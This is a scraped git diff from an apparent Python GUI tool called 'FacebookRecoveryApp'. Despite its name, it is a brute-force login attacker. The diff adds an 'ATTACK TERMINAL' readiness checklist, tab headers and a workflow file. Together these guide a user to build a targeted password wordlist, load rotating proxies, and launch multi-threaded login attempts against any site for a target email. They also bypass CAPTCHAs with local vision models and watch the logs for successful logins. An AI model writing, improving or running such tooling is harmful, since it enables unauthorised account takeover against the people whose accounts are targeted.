pass
|
||||
|
||||
try:
|
||||
px_count = self.proxy_pool.available_count
|
||||
px = self.proxy_pool.stats
|
||||
avail = px.get("available", 0)
|
||||
total = px.get("total_valid", 0)
|
||||
self.sb_proxies.configure(
|
||||
text=f"PROXIES: {px_count}",
|
||||
text_color=(CyberpunkTheme.PRIMARY
|
||||
if px_count > 0
|
||||
text=f"PROXIES: {avail}/{total}",
|
||||
text_color=(CyberpunkTheme.PRIMARY if avail > 0
|
||||
else CyberpunkTheme.TEXT_DIM))
|
||||
except Exception:
|
||||
pass
|
||||
@@ -249,4 +379,63 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self.after(3000, self._periodic_update)
|
||||
try:
|
||||
if hasattr(self.attack_tab, "_update_readiness"):
|
||||
self.attack_tab._update_readiness()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self.after(2500, self._periodic_update)
|
||||
|
||||
def _slow_system_update(self):
|
||||
# GPU
|
||||
try:
|
||||
from src.engine.gpu_accelerator import is_gpu_available, get_gpu_info
|
||||
if is_gpu_available():
|
||||
info = get_gpu_info()
|
||||
short = info.split("(")[0].strip()[:28]
|
||||
self.sb_gpu.configure(
|
||||
text=f"GPU: {short}",
|
||||
text_color=CyberpunkTheme.SUCCESS,
|
||||
)
|
||||
else:
|
||||
self.sb_gpu.configure(
|
||||
text="GPU: CPU MODE",
|
||||
text_color=CyberpunkTheme.TEXT_DIM,
|
||||
)
|
||||
except Exception:
|
||||
self.sb_gpu.configure(text="GPU: —", text_color=CyberpunkTheme.TEXT_DIM)
|
||||
|
||||
# Ollama
|
||||
try:
|
||||
import json
|
||||
import requests
|
||||
cfg = {}
|
||||
if OLLAMA_CONFIG_FILE.exists():
|
||||
cfg = json.loads(OLLAMA_CONFIG_FILE.read_text(encoding="utf-8"))
|
||||
host = cfg.get("ollama_host", "http://localhost:11434").rstrip("/")
|
||||
model = (cfg.get("model") or "").strip()
|
||||
r = requests.get(f"{host}/api/tags", timeout=2)
|
||||
if r.status_code == 200:
|
||||
label = model[:18] if model else "no model"
|
||||
self.sb_ollama.configure(
|
||||
text=f"OLLAMA: {label}",
|
||||
text_color=CyberpunkTheme.SUCCESS,
|
||||
)
|
||||
else:
|
||||
self.sb_ollama.configure(
|
||||
text="OLLAMA: offline",
|
||||
text_color=CyberpunkTheme.ERROR,
|
||||
)
|
||||
except Exception:
|
||||
self.sb_ollama.configure(
|
||||
text="OLLAMA: offline",
|
||||
text_color=CyberpunkTheme.ERROR,
|
||||
)
|
||||
|
||||
self._update_attack_status_label()
|
||||
self.after(8000, self._slow_system_update)
|
||||
|
||||
|
||||
# Backward-compatible alias
|
||||
FacebookRecoveryApp = GODCWAKApp
|
||||
|
||||
@@ -26,10 +26,11 @@ class AttackTab(ctk.CTkFrame):
|
||||
|
||||
def __init__(self, parent, proxy_pool: ProxyPool,
|
||||
status_callback: Optional[Callable] = None,
|
||||
attempt_logger=None):
|
||||
attempt_logger=None, app=None):
|
||||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||
self.proxy_pool = proxy_pool
|
||||
self.status_callback = status_callback
|
||||
self.app = app
|
||||
self.orchestrator = AttackOrchestrator(
|
||||
proxy_pool, logger_instance=attempt_logger)
|
||||
self._build_ui()
|
||||
@@ -43,14 +44,16 @@ class AttackTab(ctk.CTkFrame):
|
||||
# ── Build ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def _build_ui(self):
|
||||
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]",
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
|
||||
ctk.CTkLabel(self,
|
||||
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10))
|
||||
CyberpunkTheme.create_tab_header(
|
||||
self, "03", "[ ATTACK TERMINAL ]",
|
||||
"Multi-threaded login attempts with proxy rotation against any target URL",
|
||||
)
|
||||
CyberpunkTheme.create_hint_bar(
|
||||
self,
|
||||
"Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded",
|
||||
)
|
||||
|
||||
self._build_readiness_bar()
|
||||
self._build_target_bar()
|
||||
self._build_speed_panel()
|
||||
self._build_stats_panel()
|
||||
@@ -58,6 +61,62 @@ class AttackTab(ctk.CTkFrame):
|
||||
self._build_control_buttons()
|
||||
self._build_live_log()
|
||||
self._update_periodic()
|
||||
self._update_readiness()
|
||||
|
||||
def _build_readiness_bar(self):
|
||||
"""At-a-glance checklist so the user knows what's missing before START."""
|
||||
bar = ctk.CTkFrame(
|
||||
self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1, border_color=CyberpunkTheme.BORDER,
|
||||
)
|
||||
bar.pack(fill="x", padx=15, pady=(0, 8))
|
||||
inner = ctk.CTkFrame(bar, fg_color="transparent")
|
||||
inner.pack(fill="x", padx=12, pady=8)
|
||||
|
||||
ctk.CTkLabel(
|
||||
inner, text="READINESS",
|
||||
font=("Consolas", 10, "bold"),
|
||||
text_color=CyberpunkTheme.TERTIARY,
|
||||
width=80, anchor="w",
|
||||
).pack(side="left")
|
||||
|
||||
def _chip(parent):
|
||||
lbl = ctk.CTkLabel(
|
||||
parent, text="—",
|
||||
font=("Consolas", 10, "bold"),
|
||||
text_color=CyberpunkTheme.TEXT_DIM,
|
||||
)
|
||||
lbl.pack(side="left", padx=(0, 16))
|
||||
return lbl
|
||||
|
||||
self.ready_target = _chip(inner)
|
||||
self.ready_wordlist = _chip(inner)
|
||||
self.ready_proxies = _chip(inner)
|
||||
self.ready_overall = _chip(inner)
|
||||
|
||||
def _update_readiness(self):
|
||||
target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False
|
||||
wl = count_lines(PASSWORDS_FILE)
|
||||
px = self.proxy_pool.available_count
|
||||
|
||||
def _set(lbl, ok: bool, ok_text: str, bad_text: str):
|
||||
lbl.configure(
|
||||
text=ok_text if ok else bad_text,
|
||||
text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING,
|
||||
)
|
||||
|
||||
_set(self.ready_target, target_ok,
|
||||
"✓ TARGET SET", "✗ NEED EMAIL")
|
||||
_set(self.ready_wordlist, wl > 0,
|
||||
f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST")
|
||||
_set(self.ready_proxies, px > 0,
|
||||
f"✓ PROXIES ({px})", "○ NO PROXIES (optional)")
|
||||
|
||||
all_core = target_ok and wl > 0
|
||||
self.ready_overall.configure(
|
||||
text="✓ READY TO START" if all_core else "✗ NOT READY",
|
||||
text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR,
|
||||
)
|
||||
|
||||
# ── Target bar (URL + username + counters) ────────────────────────────────
|
||||
|
||||
@@ -119,6 +178,7 @@ class AttackTab(ctk.CTkFrame):
|
||||
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
|
||||
self.email_entry.pack(side="left", padx=(0, 20))
|
||||
CyberpunkTheme.apply_focus_glow(self.email_entry)
|
||||
self.email_entry.bind("<KeyRelease>", lambda _e: self._update_readiness())
|
||||
|
||||
self.pwd_count_label = ctk.CTkLabel(
|
||||
row2, text="Wordlist: 0",
|
||||
@@ -364,6 +424,9 @@ class AttackTab(ctk.CTkFrame):
|
||||
self.orchestrator.configure(username, passwords, site_cfg)
|
||||
self.orchestrator.start()
|
||||
|
||||
if self.app:
|
||||
self.app.set_attack_state("RUNNING")
|
||||
|
||||
self.start_btn.configure(state="disabled")
|
||||
self.pause_btn.configure(state="normal")
|
||||
self.stop_btn.configure(state="normal")
|
||||
@@ -388,6 +451,8 @@ class AttackTab(ctk.CTkFrame):
|
||||
|
||||
def _on_stop(self):
|
||||
self.orchestrator.stop()
|
||||
if self.app:
|
||||
self.app.set_attack_state("STOPPED")
|
||||
self.start_btn.configure(state="normal")
|
||||
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||||
self.stop_btn.configure(state="disabled")
|
||||
@@ -463,6 +528,8 @@ class AttackTab(ctk.CTkFrame):
|
||||
self.state_label.configure(
|
||||
text=f"◈ {state.value.upper()}",
|
||||
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
|
||||
if self.app:
|
||||
self.app.set_attack_state(state.value.upper())
|
||||
if state in (AttackState.COMPLETED, AttackState.STOPPED):
|
||||
self.start_btn.configure(state="normal")
|
||||
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||||
@@ -487,4 +554,5 @@ class AttackTab(ctk.CTkFrame):
|
||||
except Exception:
|
||||
pass
|
||||
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||||
self._update_readiness()
|
||||
self.after(2000, self._update_periodic)
|
||||
|
||||
@@ -16,27 +16,22 @@ logger = logging.getLogger(__name__)
|
||||
class LogsTab(ctk.CTkFrame):
|
||||
"""Tab for viewing and exporting attempt logs."""
|
||||
|
||||
def __init__(self, parent, logger_instance: AttemptLogger):
|
||||
def __init__(self, parent, logger_instance: AttemptLogger, app=None):
|
||||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||
self.attempt_logger = logger_instance
|
||||
self.app = app
|
||||
self._build_ui()
|
||||
|
||||
def _build_ui(self):
|
||||
"""Build the logs tab UI."""
|
||||
# Title
|
||||
title = ctk.CTkLabel(
|
||||
self, text="[ ATTEMPT LOGS ]",
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY,
|
||||
CyberpunkTheme.create_tab_header(
|
||||
self, "04", "[ ATTEMPT LOGS ]",
|
||||
"Persistent history of every login attempt — loaded from data/attempt_log.csv",
|
||||
)
|
||||
title.pack(pady=(15, 5))
|
||||
|
||||
subtitle = ctk.CTkLabel(
|
||||
self, text="Full history of all login attempts with timestamps and proxy details",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
CyberpunkTheme.create_hint_bar(
|
||||
self,
|
||||
"Filter SUCCESS/FAILED rows · REFRESH during attacks · EXPORT full CSV history",
|
||||
)
|
||||
subtitle.pack(pady=(0, 15))
|
||||
|
||||
# === Controls ===
|
||||
controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||
@@ -142,7 +137,8 @@ class LogsTab(ctk.CTkFrame):
|
||||
return text if text.endswith("ms") else f"{text}ms"
|
||||
|
||||
def _refresh_logs(self):
|
||||
"""Refresh the log display from the logger buffer."""
|
||||
"""Refresh the log display from the logger buffer and disk."""
|
||||
self.attempt_logger.load_history_from_disk(limit=5000)
|
||||
# Clear existing rows
|
||||
for widget in self.log_list_frame.winfo_children():
|
||||
widget.destroy()
|
||||
@@ -206,6 +202,9 @@ class LogsTab(ctk.CTkFrame):
|
||||
|
||||
try:
|
||||
entries = self.attempt_logger.get_recent(10000)
|
||||
if not entries and ATTEMPT_LOG_FILE.exists():
|
||||
with open(ATTEMPT_LOG_FILE, newline="", encoding="utf-8") as f:
|
||||
entries = list(csv.DictReader(f))[-10000:]
|
||||
if not entries:
|
||||
messagebox.showinfo("Export", "No log entries to export.")
|
||||
return
|
||||
|
||||
@@ -17,31 +17,26 @@ logger = logging.getLogger(__name__)
|
||||
class PasswordBuilderTab(ctk.CTkFrame):
|
||||
"""Tab for configuring and generating password candidates."""
|
||||
|
||||
def __init__(self, parent, status_callback=None):
|
||||
def __init__(self, parent, status_callback=None, app=None):
|
||||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||
self.generator = PasswordGenerator()
|
||||
self.generated_count = 0
|
||||
self.status_callback = status_callback
|
||||
self.app = app
|
||||
self._stats_after_id = None
|
||||
self._estimate_after_id = None
|
||||
self._build_ui()
|
||||
|
||||
def _build_ui(self):
|
||||
"""Build the complete password builder UI."""
|
||||
# Title
|
||||
title = ctk.CTkLabel(
|
||||
self, text="[ PASSWORD BUILDER ]",
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY,
|
||||
CyberpunkTheme.create_tab_header(
|
||||
self, "01", "[ PASSWORD BUILDER ]",
|
||||
"Crush-style generator — fragments, rules, patterns, GPU acceleration",
|
||||
)
|
||||
title.pack(pady=(15, 5))
|
||||
|
||||
subtitle = ctk.CTkLabel(
|
||||
self, text="Configure fragments, rules, and patterns to generate targeted password candidates",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
CyberpunkTheme.create_hint_bar(
|
||||
self,
|
||||
"Enter fragments/words → configure rules → GENERATE → saves to data/passwords.txt",
|
||||
)
|
||||
subtitle.pack(pady=(0, 15))
|
||||
|
||||
# Main content area (scrollable)
|
||||
self.content = ctk.CTkScrollableFrame(
|
||||
|
||||
@@ -45,12 +45,13 @@ class _ProxyRow:
|
||||
|
||||
class ProxyManagerTab(ctk.CTkFrame):
|
||||
|
||||
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None):
|
||||
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None, app=None):
|
||||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||
self.proxy_pool = proxy_pool
|
||||
self.fetcher = ProxyFetcher()
|
||||
self.validator = ProxyValidator()
|
||||
self.status_callback = status_callback
|
||||
self.app = app
|
||||
|
||||
self._rows: Dict[str, _ProxyRow] = {}
|
||||
self._seq_testing = False # True while sequential TEST ALL is running
|
||||
@@ -62,13 +63,14 @@ class ProxyManagerTab(ctk.CTkFrame):
|
||||
# ── UI ────────────────────────────────────────────────────────────────────
|
||||
|
||||
def _build_ui(self):
|
||||
ctk.CTkLabel(self, text="[ PROXY MANAGER ]",
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
|
||||
ctk.CTkLabel(self,
|
||||
text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12))
|
||||
CyberpunkTheme.create_tab_header(
|
||||
self, "02", "[ PROXY MANAGER ]",
|
||||
"Fetch, test sequentially, and commit healthy proxies to the attack pool",
|
||||
)
|
||||
CyberpunkTheme.create_hint_bar(
|
||||
self,
|
||||
"FETCH or paste proxies → TEST ALL (one at a time) → remove dead → COMMIT TO POOL",
|
||||
)
|
||||
|
||||
# ── Control bar ───────────────────────────────────────────────────────
|
||||
ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
|
||||
|
||||
@@ -157,29 +157,25 @@ class SetupTab(ctk.CTkFrame):
|
||||
- Browser automation settings
|
||||
"""
|
||||
|
||||
def __init__(self, parent):
|
||||
def __init__(self, parent, status_callback=None, app=None):
|
||||
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||
self.ollama = OllamaManager()
|
||||
self.config = OllamaConfig()
|
||||
self.status_callback = status_callback
|
||||
self.app = app
|
||||
self._build_ui()
|
||||
self._load_saved_config()
|
||||
|
||||
def _build_ui(self):
|
||||
"""Build the setup tab UI."""
|
||||
# Title
|
||||
title = ctk.CTkLabel(
|
||||
self, text="[ SETUP & CONFIGURATION ]",
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY,
|
||||
CyberpunkTheme.create_tab_header(
|
||||
self, "05", "[ SETUP & AI ]",
|
||||
"Ollama vision models for local CAPTCHA OCR — configure before attacks hit CAPTCHAs",
|
||||
)
|
||||
title.pack(pady=(15, 5))
|
||||
|
||||
subtitle = ctk.CTkLabel(
|
||||
self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
CyberpunkTheme.create_hint_bar(
|
||||
self,
|
||||
"Connect Ollama → pick vision model (deepseek-ocr, llava) → TEST CAPTCHA SOLVER → SAVE",
|
||||
)
|
||||
subtitle.pack(pady=(0, 15))
|
||||
|
||||
# Main content (scrollable)
|
||||
self.content = ctk.CTkScrollableFrame(
|
||||
|
||||
@@ -263,3 +263,59 @@ class CyberpunkTheme:
|
||||
|
||||
wrapper.after(900, _blink)
|
||||
return wrapper, status_label
|
||||
|
||||
@staticmethod
|
||||
def create_tab_header(parent, step_num: str, title: str, subtitle: str):
|
||||
"""Consistent tab title block with step badge."""
|
||||
hdr = ctk.CTkFrame(parent, fg_color="transparent")
|
||||
hdr.pack(fill="x", pady=(12, 6))
|
||||
|
||||
badge = ctk.CTkLabel(
|
||||
hdr,
|
||||
text=f" STEP {step_num} ",
|
||||
font=("Consolas", 10, "bold"),
|
||||
text_color=CyberpunkTheme.BG_DARK,
|
||||
fg_color=CyberpunkTheme.TERTIARY,
|
||||
corner_radius=4,
|
||||
)
|
||||
badge.pack(side="left", padx=(0, 10))
|
||||
|
||||
text_col = ctk.CTkFrame(hdr, fg_color="transparent")
|
||||
text_col.pack(side="left", fill="x", expand=True)
|
||||
|
||||
ctk.CTkLabel(
|
||||
text_col,
|
||||
text=title,
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY,
|
||||
anchor="w",
|
||||
).pack(anchor="w")
|
||||
|
||||
ctk.CTkLabel(
|
||||
text_col,
|
||||
text=subtitle,
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
anchor="w",
|
||||
).pack(anchor="w", pady=(2, 0))
|
||||
|
||||
return hdr
|
||||
|
||||
@staticmethod
|
||||
def create_hint_bar(parent, text: str, color=None):
|
||||
"""Dim one-line action hint under a tab header."""
|
||||
bar = ctk.CTkFrame(
|
||||
parent,
|
||||
fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1,
|
||||
border_color=CyberpunkTheme.BORDER,
|
||||
)
|
||||
bar.pack(fill="x", padx=15, pady=(0, 10))
|
||||
ctk.CTkLabel(
|
||||
bar,
|
||||
text=f"▸ {text}",
|
||||
font=("Consolas", 10),
|
||||
text_color=color or CyberpunkTheme.TEXT_DIM,
|
||||
anchor="w",
|
||||
).pack(fill="x", padx=12, pady=8)
|
||||
return bar
|
||||
|
||||
43
src/gui/workflow.py
Normal file
43
src/gui/workflow.py
Normal file
@@ -0,0 +1,43 @@
|
||||
"""
|
||||
Shared workflow definitions — keeps tab order and user guidance consistent.
|
||||
"""
|
||||
|
||||
WORKFLOW_STEPS = [
|
||||
{
|
||||
"num": "01",
|
||||
"key": "build",
|
||||
"tab": "Password Builder",
|
||||
"title": "BUILD WORDLIST",
|
||||
"hint": "Fragments, rules, patterns → GENERATE → saves to passwords.txt",
|
||||
},
|
||||
{
|
||||
"num": "02",
|
||||
"key": "proxies",
|
||||
"tab": "Proxy Manager",
|
||||
"title": "LOAD PROXIES",
|
||||
"hint": "FETCH or paste → TEST ALL → COMMIT TO POOL",
|
||||
},
|
||||
{
|
||||
"num": "03",
|
||||
"key": "attack",
|
||||
"tab": "Attack",
|
||||
"title": "RUN ATTACK",
|
||||
"hint": "Target URL + email → START (uses wordlist + proxy pool)",
|
||||
},
|
||||
{
|
||||
"num": "04",
|
||||
"key": "logs",
|
||||
"tab": "Logs",
|
||||
"title": "REVIEW LOGS",
|
||||
"hint": "Filter attempts, export CSV, watch for SUCCESS rows",
|
||||
},
|
||||
{
|
||||
"num": "05",
|
||||
"key": "setup",
|
||||
"tab": "Setup",
|
||||
"title": "AI / CAPTCHA",
|
||||
"hint": "Ollama host + vision model for local CAPTCHA OCR testing",
|
||||
},
|
||||
]
|
||||
|
||||
TAB_TO_STEP = {step["tab"]: step for step in WORKFLOW_STEPS}
|
||||
@@ -16,9 +16,23 @@ class AttemptLogger:
|
||||
|
||||
def __init__(self, log_path: Optional[Path] = None):
|
||||
self.log_path = log_path or ATTEMPT_LOG_FILE
|
||||
self.buffer = [] # In-memory list of log entries for GUI display
|
||||
self.buffer = []
|
||||
self._lock = threading.Lock()
|
||||
self._init_csv()
|
||||
self.load_history_from_disk(limit=5000)
|
||||
|
||||
def load_history_from_disk(self, limit: int = 5000):
|
||||
"""Load persisted CSV rows into the in-memory buffer for the GUI."""
|
||||
if not self.log_path.exists():
|
||||
return
|
||||
try:
|
||||
with open(self.log_path, newline="", encoding="utf-8") as f:
|
||||
rows = list(csv.DictReader(f))
|
||||
with self._lock:
|
||||
self.buffer = rows[-limit:]
|
||||
except Exception as exc:
|
||||
logger = logging.getLogger(__name__)
|
||||
logger.warning(f"Could not load attempt log history: {exc}")
|
||||
|
||||
def _init_csv(self):
|
||||
"""Create CSV with headers if it doesn't exist."""
|
||||
@@ -76,8 +90,8 @@ class AttemptLogger:
|
||||
"""Get aggregate statistics from the log."""
|
||||
with self._lock:
|
||||
total = len(self.buffer)
|
||||
successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS")
|
||||
failures = total - successes
|
||||
successes = sum(1 for e in self.buffer if e.get("result") == "SUCCESS")
|
||||
failures = total - successes
|
||||
return {
|
||||
"total": total,
|
||||
"successes": successes,
|
||||
|
||||
Reference in New Issue
Block a user